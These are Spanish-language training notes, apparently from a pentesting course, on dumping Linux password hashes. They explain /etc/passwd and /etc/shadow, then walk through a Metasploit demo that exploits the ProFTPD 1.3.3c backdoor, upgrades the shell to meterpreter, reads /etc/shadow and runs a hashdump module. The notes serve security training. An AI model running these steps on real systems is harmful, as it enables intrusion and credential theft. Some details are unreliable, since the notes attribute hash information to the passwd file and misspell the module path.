Linux Credential Dumping

Dumping Linux Password Hashes

En esta seccion exploraremos procesos de volcado de hash de contraseñas de Linux.

Linux Password Hashes

Linux tiene soporte multiusuario y, como resultado, varios usuarios pueden acceder al sistema simultáneamente. Esto puede verse como una ventaja y una desventaja desde una perspectiva de seguridad, ya que varias cuentas ofrecen múltiples vectores de acceso para los atacantes y, por lo tanto, aumentan el riesgo general del servidor.

Toda la información de todas las cuentas en Linux se almacena en el archivo passwd ubicado en: /etc/passwd

No podemos ver las contraseñas de los usuarios en el archivo passwd porque están cifradas y cualquier usuario del sistema puede leer el archivo passwd.

Todas las contraseñas cifradas de los usuarios se almacenan en el archivo oculto. se puede encontrar en el siguiente directorio: /etc/shadow. El archivo contiene una lista de cuentas de usuario y sus contraseñas hash encriptadas.

Solo el usuario root puede acceder y leer el archivo oculto; esta es una característica de seguridad muy importante ya que evita que otras cuentas en el sistema accedan a las contraseñas hash.

Linux Password Hashes

El archivo passwd nos brinda información con respecto al algoritmo hash que se está utilizando y el hash de la contraseña, esto es muy útil ya que podemos determinar el tipo de algoritmo hash que se está utilizando y su potencia. Podemos determinar esto mirando el número después del nombre de usuario encapsulado por el símbolo del dólar ($).

Value	Hashing Algorithm
$1	MD5
$2	Blowfish
$5	SHA-256
$6	SHA-512

Demo: Linux Password Hashes

# Enumeracion de servicios en el equipo
nmap -sV <Target>
# Buscamos alguna Vulnerabilidad del algun servicio encontrado
searchsploit ProFTPD
# Establecemos una variable global para RHOSTS
msf5> setg RHOSTS <Target>
msf5> search proftpd
msf5> use exploit/unix/ftp/proftpd_133c_backdoor
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > show options
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > exploit
# Obtendremos una sesion Shell

/bin/bash -i
# Control Z / Hacemos que la sesion se ejecute en segundo plano
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > sessions
# Actualizar la sesiion a una session de meterpreter
# Hara que la sesion sea mas facil
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > sessions -u 1

# En la comuna Type, verificara el tipo de session
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > sessions

msf5 exploit(unix/ftp/proftpd_133c_backdoor) > sessions 2
meterpreter > sysinfo
meterpreter > getuid

# Valcar la constraseña
meterpreter > cat /etc/shadow


# Una tecnica que podemos utilizar para descifrar la contraseana es por medio
# del modulo de metasploit y el otro es por una tecnica de descifrado
# Poner en Segundo Plano

msf5 exploit(unix/ftp/proftpd_133c_backdoor) > search hashdump

msf5 exploit(unix/ftp/proftpd_133c_backdoor) > use post/linux/gather/hasdump
msf5 post(linux/gather/hasdump) > show options
msf5 post(linux/gather/hasdump) > set SESSION <ID de Session meterpreter>
msf5 post(linux/gather/hasdump) > run
# Automatica va a volcar y descifrar la contrasena, y le dara la ruta de 
# donde se encuentra el password

Quiz